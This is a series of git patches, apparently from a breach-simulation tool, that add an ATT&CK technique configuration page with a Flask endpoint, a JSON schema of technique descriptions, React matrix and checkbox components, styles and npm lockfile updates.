      + ); + } +} + +export default AttackComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index bb369fa73..0d48251de 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -3,6 +3,7 @@ import Form from 'react-jsonschema-form'; import {Col, Nav, NavItem} from 'react-bootstrap'; import fileDownload from 'js-file-download'; import AuthComponent from '../AuthComponent'; +import AttackComponent from 'components/config-components/Att&ck' import { FilePond } from 'react-filepond'; import 'filepond/dist/filepond.min.css'; @@ -13,6 +14,8 @@ class ConfigurePageComponent extends AuthComponent { this.PBAlinuxPond = null; this.currentSection = 'basic'; this.currentFormData = {}; + this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal', 'ATT&CK']; + this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; this.uiSchema = { behaviour: { @@ -296,7 +299,8 @@ class ConfigurePageComponent extends AuthComponent {
      :
      } - { this.state.selectedSection ? + { this.state.selectedSection === 'ATT&CK' ? + : this.state.selectedSection ?
      Date: Fri, 15 Mar 2019 18:08:58 +0200 Subject: [PATCH 015/598] Sketches of config implementation --- monkey/monkey_island/cc/app.py | 4 +- monkey/monkey_island/cc/resources/attck.py | 13 ++++++ .../cc/services/attck/__init__.py | 1 + .../monkey_island/cc/services/attck/attck.py | 43 +++++++++++++++++ .../cc/services/attck/attck_schema.py | 46 +++++++++++++++++++ .../cc/ui/src/components/Main.js | 3 ++ .../components/config-components/Att&ck.js | 18 -------- .../cc/ui/src/components/pages/AttckPage.js | 45 ++++++++++++++++++ .../ui/src/components/pages/ConfigurePage.js | 12 ++--- 9 files changed, 158 insertions(+), 27 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/attck.py create mode 100644 monkey/monkey_island/cc/services/attck/__init__.py create mode 100644 monkey/monkey_island/cc/services/attck/attck.py create mode 100644 monkey/monkey_island/cc/services/attck/attck_schema.py delete mode 100644 monkey/monkey_island/cc/ui/src/components/config-components/Att&ck.js create mode 100644 monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index d43930206..4d3148414 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -28,8 +28,9 @@ from cc.resources.root import Root from cc.resources.telemetry import Telemetry from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.pba_file_download import PBAFileDownload -from cc.services.config import ConfigService from cc.resources.pba_file_upload import FileUpload +from cc.resources.attck import AttckConfiguration +from cc.services.config import ConfigService __author__ = 'Barak' @@ -123,5 +124,6 @@ def init_app(mongo_url): '/api/fileUpload/?load=', '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') + api.add_resource(AttckConfiguration, '/api/attck') return app diff --git a/monkey/monkey_island/cc/resources/attck.py b/monkey/monkey_island/cc/resources/attck.py new file mode 100644 index 000000000..be0d09061 --- /dev/null +++ b/monkey/monkey_island/cc/resources/attck.py @@ -0,0 +1,13 @@ +import flask_restful +from flask import jsonify + +from cc.auth import jwt_required +from cc.services.attck.attck import AttckService + + +class AttckConfiguration(flask_restful.Resource): + @jwt_required() + def get(self): + return jsonify(schema=AttckService.get_config_schema(), + configuration=AttckService.get_config()) + diff --git a/monkey/monkey_island/cc/services/attck/__init__.py b/monkey/monkey_island/cc/services/attck/__init__.py new file mode 100644 index 000000000..98867ed4d --- /dev/null +++ b/monkey/monkey_island/cc/services/attck/__init__.py @@ -0,0 +1 @@ +__author__ = 'VakarisZ' diff --git a/monkey/monkey_island/cc/services/attck/attck.py b/monkey/monkey_island/cc/services/attck/attck.py new file mode 100644 index 000000000..1c7965a4a --- /dev/null +++ b/monkey/monkey_island/cc/services/attck/attck.py @@ -0,0 +1,43 @@ +import logging +from cc.database import mongo +from attck_schema import SCHEMA +from jsonschema import Draft4Validator, validators + +__author__ = "VakarisZ" + +logger = logging.getLogger(__name__) + + +class AttckService: + default_config = None + + def __init__(self): + pass + + @staticmethod + def get_config(): + config = mongo.db.attck.find_one({'name': 'newconfig'}) or AttckService.get_default_config() + return config + + @staticmethod + def get_config_schema(): + return SCHEMA + + @staticmethod + def reset_config(): + config = AttckService.get_default_config() + AttckService.update_config(config) + logger.info('Monkey config reset was called') + + @staticmethod + def update_config(config_json): + mongo.db.attck.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + logger.info('Attck config was updated') + return True + + @staticmethod + def get_default_config(): + if not AttckService.default_config: + AttckService.update_config(SCHEMA) + AttckService.default_config = SCHEMA + return AttckService.default_config diff --git a/monkey/monkey_island/cc/services/attck/attck_schema.py b/monkey/monkey_island/cc/services/attck/attck_schema.py new file mode 100644 index 000000000..67f2316ef --- /dev/null +++ b/monkey/monkey_island/cc/services/attck/attck_schema.py @@ -0,0 +1,46 @@ +SCHEMA = { + "title": "ATT&CK configuration", + "type": "object", + "properties": { + "lateral_movement": { + "title": "Lateral movement", + "type": "object", + "properties": { + "T1210": { + "title": "T1210 Exploitation of Remote services", + "type": "bool", + "default": True, + "description": "Exploitation of a software vulnerability occurs when an adversary " + "takes advantage of a programming error in a program, service, or within the " + "operating system software or kernel itself to execute adversary-controlled code." + } + } + }, + "credential_access": { + "title": "Credential access", + "type": "object", + "properties": { + "T1110": { + "title": "T1110 Brute force", + "type": "bool", + "default": True, + "description": "Adversaries may use brute force techniques to attempt access to accounts " + "when passwords are unknown or when password hashes are obtained." + } + } + }, + "defence_evasion": { + "title": "Defence evasion", + "type": "object", + "properties": { + "T1197": { + "title": "T1197 Bits jobs", + "type": "bool", + "default": True, + "description": "Adversaries may abuse BITS to download, execute, " + "and even clean up after running malicious code." + } + } + }, + } +} diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index da8e59113..5dfe465fa 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -14,6 +14,7 @@ import ReportPage from 'components/pages/ReportPage'; import LicensePage from 'components/pages/LicensePage'; import AuthComponent from 'components/AuthComponent'; import LoginPageComponent from 'components/pages/LoginPage'; +import AttckPage from 'components/pages/AttckPage' import 'normalize.css/normalize.css'; import 'react-data-components/css/table-twbs.css'; @@ -161,6 +162,7 @@ class AppComponent extends AuthComponent {
        +
      • ATT&CK Configuration
      • Configuration
      • Log
      @@ -186,6 +188,7 @@ class AppComponent extends AuthComponent { {this.renderRoute('/start-over', )} {this.renderRoute('/report', )} {this.renderRoute('/license', )} + {this.renderRoute('/attck', )} diff --git a/monkey/monkey_island/cc/ui/src/components/config-components/Att&ck.js b/monkey/monkey_island/cc/ui/src/components/config-components/Att&ck.js deleted file mode 100644 index d5b13b6aa..000000000 --- a/monkey/monkey_island/cc/ui/src/components/config-components/Att&ck.js +++ /dev/null @@ -1,18 +0,0 @@ -import React from 'react'; - -// ATT&CK component -class AttackComponent extends React.Component { - constructor(props) { - super(props); - } - - render() { - return ( -
      - ATT&CK component -
      - ); - } -} - -export default AttackComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js new file mode 100644 index 000000000..5d9e300c7 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js @@ -0,0 +1,45 @@ +import React from 'react'; +import Form from 'react-jsonschema-form'; +import {Col, Nav, NavItem} from 'react-bootstrap'; +import AuthComponent from '../AuthComponent'; +import 'filepond/dist/filepond.min.css'; + +class AttckComponent extends AuthComponent { + constructor(props) { + super(props); + this.currentSection = 'ATT&CK matrix'; + this.currentFormData = {}; + this.sectionsOrder = ['ATT&CK matrix']; + // set schema from server + this.state = { + schema: {}, + configuration: {}, + lastAction: 'none', + sections: [], + selectedSection: 'ATT&CK matrix', + }; + } + + componentDidMount() { + this.authFetch('/api/attck') + .then(res => res.json()) + .then(res => { + let sections = []; + for (let sectionKey of this.sectionsOrder) { + sections.push({key: sectionKey, title: res.configuration.title}); + } + this.setState({ + schema: res.schema, + configuration: res.configuration, + sections: sections, + selectedSection: 'ATT&CK matrix' + }) + }); + } + + render() { + return ( Vakaris ); + } +} + +export default AttckComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 0d48251de..a3626ae1a 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -3,7 +3,6 @@ import Form from 'react-jsonschema-form'; import {Col, Nav, NavItem} from 'react-bootstrap'; import fileDownload from 'js-file-download'; import AuthComponent from '../AuthComponent'; -import AttackComponent from 'components/config-components/Att&ck' import { FilePond } from 'react-filepond'; import 'filepond/dist/filepond.min.css'; @@ -14,8 +13,6 @@ class ConfigurePageComponent extends AuthComponent { this.PBAlinuxPond = null; this.currentSection = 'basic'; this.currentFormData = {}; - this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal', 'ATT&CK']; - this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; this.uiSchema = { behaviour: { @@ -280,6 +277,7 @@ class ConfigurePageComponent extends AuthComponent { displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema['definitions'] = this.state.schema['definitions']; } + return (

      Monkey Configuration

      @@ -299,14 +297,11 @@ class ConfigurePageComponent extends AuthComponent {
      :
      } - { this.state.selectedSection === 'ATT&CK' ? - : this.state.selectedSection ? + { this.state.selectedSection ? + onChange={this.onChange}>
      { this.state.allMonkeysAreDead ? '' : @@ -369,6 +364,7 @@ class ConfigurePageComponent extends AuthComponent {
      : ''}
      + ); } From 17a51cd92eb56223197ff64b2669601a94ea43ca Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 19 Mar 2019 15:48:58 +0200 Subject: [PATCH 016/598] ATT&CK matrix formed in front-end --- monkey/monkey_island/cc/resources/attck.py | 3 +- .../cc/services/attck/attck_schema.py | 7 ++ .../src/components/attck/MatrixComponent.js | 79 ++++++++++++++ .../cc/ui/src/components/pages/AttckPage.js | 15 ++- .../src/components/ui-components/checkBox.js | 78 +++++++++++++ .../cc/ui/src/styles/CheckBox.scss | 103 ++++++++++++++++++ 6 files changed, 277 insertions(+), 8 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/checkBox.js create mode 100644 monkey/monkey_island/cc/ui/src/styles/CheckBox.scss diff --git a/monkey/monkey_island/cc/resources/attck.py b/monkey/monkey_island/cc/resources/attck.py index be0d09061..3b0d1605b 100644 --- a/monkey/monkey_island/cc/resources/attck.py +++ b/monkey/monkey_island/cc/resources/attck.py @@ -8,6 +8,5 @@ from cc.services.attck.attck import AttckService class AttckConfiguration(flask_restful.Resource): @jwt_required() def get(self): - return jsonify(schema=AttckService.get_config_schema(), - configuration=AttckService.get_config()) + return jsonify(configuration=AttckService.get_config()['properties']) diff --git a/monkey/monkey_island/cc/services/attck/attck_schema.py b/monkey/monkey_island/cc/services/attck/attck_schema.py index 67f2316ef..1d720aa9a 100644 --- a/monkey/monkey_island/cc/services/attck/attck_schema.py +++ b/monkey/monkey_island/cc/services/attck/attck_schema.py @@ -13,6 +13,13 @@ SCHEMA = { "description": "Exploitation of a software vulnerability occurs when an adversary " "takes advantage of a programming error in a program, service, or within the " "operating system software or kernel itself to execute adversary-controlled code." + }, + "T1075": { + "title": "T1075 Pass the hash", + "type": "bool", + "default": True, + "description": "Pass the hash (PtH) is a method of authenticating as a user without " + "having access to the user's cleartext password." } } }, diff --git a/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js new file mode 100644 index 000000000..ec689210b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js @@ -0,0 +1,79 @@ +import React from 'react'; +import Form from 'react-jsonschema-form'; +import {Col, Nav, NavItem} from 'react-bootstrap'; +import CheckBox from '../ui-components/checkBox' +import AuthComponent from '../AuthComponent'; +import 'filepond/dist/filepond.min.css'; +import ReactTable from "react-table"; + + +let renderTechnique = function (technique) { + console.log(technique); + if (technique == null){ + return (
      ) + } else { + return (
      {technique.title}
      ) + } +}; + +// Finds which attack type has most techniques and returns that number +let findMaxTechniques = function (data){ + let maxLen = 0; + data.forEach(function(techType) { + if (Object.keys(techType.properties).length > maxLen){ + maxLen = Object.keys(techType.properties).length + } + }); + return maxLen +}; + +let parseTechniques = function (data, maxLen) { + let techniques = []; + // Create rows with attack techniques + for (let i = 0; i < maxLen; i++) { + let row = {}; + data.forEach(function(techType){ + let rowColumn = {}; + rowColumn.techName = techType.title; + if (i <= Object.keys(techType.properties).length) { + rowColumn.technique = Object.values(techType.properties)[i]; + } else { + rowColumn.technique = null + } + row[rowColumn.techName] = rowColumn + }); + techniques.push(row) + } + return techniques; +}; + +class MatrixComponent extends AuthComponent { + constructor(props) { + super(props); + this.maxTechniques = findMaxTechniques(Object.values(this.props.configuration)); + this.data = parseTechniques(Object.values(this.props.configuration), this.maxTechniques); + } + + getColumns() { + return Object.keys(this.data[0]).map((key)=>{ + return { + Header: key, + id: key, + accessor: x => renderTechnique(x[key].technique) + }; + }); + } + + render() { + console.log(this.data); + let columns = this.getColumns(); + return (); + } +} + +export default MatrixComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js index 5d9e300c7..ca073a7ed 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js @@ -1,8 +1,7 @@ import React from 'react'; -import Form from 'react-jsonschema-form'; -import {Col, Nav, NavItem} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import 'filepond/dist/filepond.min.css'; +import MatrixComponent from '../attck/MatrixComponent' class AttckComponent extends AuthComponent { constructor(props) { @@ -12,7 +11,6 @@ class AttckComponent extends AuthComponent { this.sectionsOrder = ['ATT&CK matrix']; // set schema from server this.state = { - schema: {}, configuration: {}, lastAction: 'none', sections: [], @@ -29,16 +27,21 @@ class AttckComponent extends AuthComponent { sections.push({key: sectionKey, title: res.configuration.title}); } this.setState({ - schema: res.schema, configuration: res.configuration, sections: sections, selectedSection: 'ATT&CK matrix' - }) + }); }); } render() { - return ( Vakaris ); + let content; + if (Object.keys(this.state.configuration).length === 0) { + content = (

      Fetching configuration...

      ); + } else { + content = (); + } + return
      {content}
      ; } } diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/checkBox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/checkBox.js new file mode 100644 index 000000000..27eb78995 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/checkBox.js @@ -0,0 +1,78 @@ +import '../../styles/CheckBox.scss' +import React from 'react'; +import MatrixComponent from "../attck/MatrixComponent"; + +class Checkbox extends React.PureComponent { + + constructor() { + super(); + + this.state = { + checked: false, + isAnimating: false, + }; + + this.toggleChecked = this.toggleChecked.bind(this); + this.ping = this.ping.bind(this); + this.composeStateClasses = this.composeStateClasses.bind(this); + } + + // + toggleChecked() { + if (this.state.isAnimating) return false; + this.setState({ + checked: !this.state.checked, + isAnimating: true, + }); + } + + // + ping() { + this.setState({ isAnimating: false }) + } + + // + composeStateClasses(core) { + let result = core; + + if (this.state.checked) { result += ' is-checked'; } + else { result += ' is-unchecked' } + + if (this.state.isAnimating) { result += ' do-ping'; } + return result; + } + + // + render() { + + const cl = this.composeStateClasses('ui-checkbox-btn'); + + return ( +
      + + + { + this.state.checked && + + + + + + } + { + !this.state.checked && + + + + + + } + +
      +
      + ) + } +} +export default Checkbox; diff --git a/monkey/monkey_island/cc/ui/src/styles/CheckBox.scss b/monkey/monkey_island/cc/ui/src/styles/CheckBox.scss new file mode 100644 index 000000000..6dbf67e2c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/CheckBox.scss @@ -0,0 +1,103 @@ +// readable +$desired-line-height: 24px; +$desired-height: 36px; +$text-offset: 2px; + +// usable +$dlh: $desired-line-height; +$dh: $desired-height; +$to: $text-offset; + +// coooolors +$light-grey: #EAF4F4; +$medium-grey: #7B9EA8; +$dark-grey: #7B9EA8; +$green: #44CF6C; + +.ui-checkbox-btn { + position: relative; + display: inline-block; + + padding: (($dh - $dlh) / 2) ($dlh / 2); + border-radius: $dh / 2; // overcompensate + background-color: rgba(red, .6); + + input { display: none; } // turn off, but not forgotten + + .icon, + .text { + display: inline-block; + vertical-align: top; + color: inherit; + } + + .text { + font-size: 14px; + line-height: $dlh - $to; + padding-top: $to; + padding-left: 4px; + } + + // color states + &.is-unchecked { + border: 1px solid $medium-grey; + background-color: transparent; + color: $dark-grey; + fill: $dark-grey; + } + + &.is-checked { + border: 1px solid $green; + background-color: $green; + color: white; + fill: white; + } +} + +.icon { + position: relative; + display: inline-block; + width: $dlh - 4; + height: $dlh; + + svg { + position: absolute; + top: 0; right: 0; bottom: 0; left: 0; + margin: auto; + width: 16px; + height: auto; + fill: inherit; + } + + .is-checked & { + color: white; + fill: white; + } +} + +// ping animation magic +.ui-btn-ping { + position: absolute; + top: 50%; + left: 50%; + width: 50%; + transform: translate3d(-50%, -50%, 0); // center center by default + + // set the square + &:before { + content: ''; + transform: scale(0, 0); // center center by default + transition-property: background-color transform; + transition-timing-function: cubic-bezier(0.0, 0.0, 0.2, 1); + display: block; + padding-bottom: 100%; + border-radius: 50%; + background-color: rgba(white, .84);; + } + + .do-ping &:before { + transform: scale(2.5, 2.5); + transition-duration: .35s; + background-color: rgba(white, .08); + } +} From 7b8a758541444cce4a64939d991741b61b94ba9e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 20 Mar 2019 12:53:20 +0200 Subject: [PATCH 017/598] Adding toolbar and checkBox style fixes --- monkey/monkey_island/cc/ui/package-lock.json | 1047 +++++++++++++---- monkey/monkey_island/cc/ui/package.json | 3 + .../src/components/attck/MatrixComponent.js | 5 +- .../src/components/ui-components/checkBox.js | 17 +- .../cc/ui/src/styles/CheckBox.scss | 21 +- monkey/monkey_island/cc/ui/webpack.config.js | 8 + 6 files changed, 875 insertions(+), 226 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 11fafe535..21cd1e89c 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -408,8 +408,7 @@ "abbrev": { "version": "1.0.9", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.0.9.tgz", - "integrity": "sha1-kbR5JYinc4wl813W9jdSovh3YTU=", - "dev": true + "integrity": "sha1-kbR5JYinc4wl813W9jdSovh3YTU=" }, "accepts": { "version": "1.3.5", @@ -520,8 +519,7 @@ "amdefine": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", - "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", - "dev": true + "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=" }, "ansi-colors": { "version": "3.1.0", @@ -544,14 +542,12 @@ "ansi-regex": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true + "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=" }, "ansi-styles": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", - "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", - "dev": true + "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=" }, "anymatch": { "version": "1.3.2", @@ -567,8 +563,50 @@ "aproba": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz", - "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==", - "dev": true + "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==" + }, + "are-we-there-yet": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.5.tgz", + "integrity": "sha512-5hYdAkZlcG8tOLujVDTgCT+uPX0VnpAH28gWsLfzpXYm7wP6mp5Q/gYyR7YQ0cKVJcXJnl3j2kpBan13PtQf6w==", + "requires": { + "delegates": "1.0.0", + "readable-stream": "2.3.6" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==" + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "5.1.1" + } + } + } }, "argparse": { "version": "1.0.9", @@ -604,8 +642,7 @@ "array-find-index": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/array-find-index/-/array-find-index-1.0.2.tgz", - "integrity": "sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E=", - "dev": true + "integrity": "sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E=" }, "array-flatten": { "version": "2.1.1", @@ -665,8 +702,7 @@ "asn1": { "version": "0.2.3", "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz", - "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=", - "dev": true + "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=" }, "asn1.js": { "version": "4.10.1", @@ -708,8 +744,7 @@ "assert-plus": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true + "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=" }, "assertion-error": { "version": "1.1.0", @@ -741,6 +776,11 @@ "integrity": "sha1-GdOGodntxufByF04iu28xW0zYC0=", "dev": true }, + "async-foreach": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/async-foreach/-/async-foreach-0.1.3.tgz", + "integrity": "sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI=" + }, "async-limiter": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.0.tgz", @@ -750,8 +790,7 @@ "asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=", - "dev": true + "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" }, "atob": { "version": "2.1.1", @@ -762,8 +801,7 @@ "aws-sign2": { "version": "0.7.0", "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", - "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", - "dev": true + "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=" }, "aws4": { "version": "1.7.0", @@ -2039,8 +2077,7 @@ "balanced-match": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", - "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", - "dev": true + "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=" }, "base": { "version": "0.11.2", @@ -2141,7 +2178,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.1.tgz", "integrity": "sha1-Y7xdy2EzG5K8Bf1SiVPDNGKgb40=", - "dev": true, "optional": true, "requires": { "tweetnacl": "0.14.5" @@ -2182,6 +2218,14 @@ "integrity": "sha1-vPEwUspURj8w+fx+lbmkdjCpSSE=", "dev": true }, + "block-stream": { + "version": "0.0.9", + "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz", + "integrity": "sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=", + "requires": { + "inherits": "2.0.3" + } + }, "bluebird": { "version": "3.5.1", "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz", @@ -2280,7 +2324,6 @@ "version": "1.1.8", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.8.tgz", "integrity": "sha1-wHshHHyVLsH479Uad+8NHTmQopI=", - "dev": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" @@ -2455,8 +2498,7 @@ "builtin-modules": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-1.1.1.tgz", - "integrity": "sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8=", - "dev": true + "integrity": "sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8=" }, "builtin-status-codes": { "version": "3.0.0", @@ -2566,7 +2608,6 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-2.1.0.tgz", "integrity": "sha1-MIvur/3ygRkFHvodkyITyRuPkuc=", - "dev": true, "requires": { "camelcase": "2.1.1", "map-obj": "1.0.1" @@ -2575,8 +2616,7 @@ "camelcase": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz", - "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=", - "dev": true + "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=" } } }, @@ -2589,8 +2629,7 @@ "caseless": { "version": "0.12.0", "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", - "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", - "dev": true + "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=" }, "center-align": { "version": "0.1.3", @@ -2621,7 +2660,6 @@ "version": "1.1.3", "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "dev": true, "requires": { "ansi-styles": "2.2.1", "escape-string-regexp": "1.0.5", @@ -2770,6 +2808,32 @@ } } }, + "clone-deep": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-2.0.2.tgz", + "integrity": "sha512-SZegPTKjCgpQH63E+eN6mVEEPdQBOUzjyJm5Pora4lrwWRFS8I0QAxV/KD6vV/i0WuijHZWQC1fMsPEdxfdVCQ==", + "requires": { + "for-own": "1.0.0", + "is-plain-object": "2.0.4", + "kind-of": "6.0.2", + "shallow-clone": "1.0.0" + }, + "dependencies": { + "for-own": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz", + "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=", + "requires": { + "for-in": "1.0.2" + } + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" + } + } + }, "co": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", @@ -2778,8 +2842,7 @@ "code-point-at": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", - "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", - "dev": true + "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=" }, "collection-visit": { "version": "1.0.0", @@ -2825,7 +2888,6 @@ "version": "1.0.6", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz", "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", - "dev": true, "requires": { "delayed-stream": "1.0.0" } @@ -2912,8 +2974,7 @@ 